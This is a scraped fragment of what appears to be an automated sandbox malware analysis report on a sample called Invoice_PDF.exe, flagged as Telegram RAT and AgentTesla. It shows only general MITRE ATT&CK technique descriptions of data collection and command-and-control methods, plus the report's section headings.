Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report Invoice_PDF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre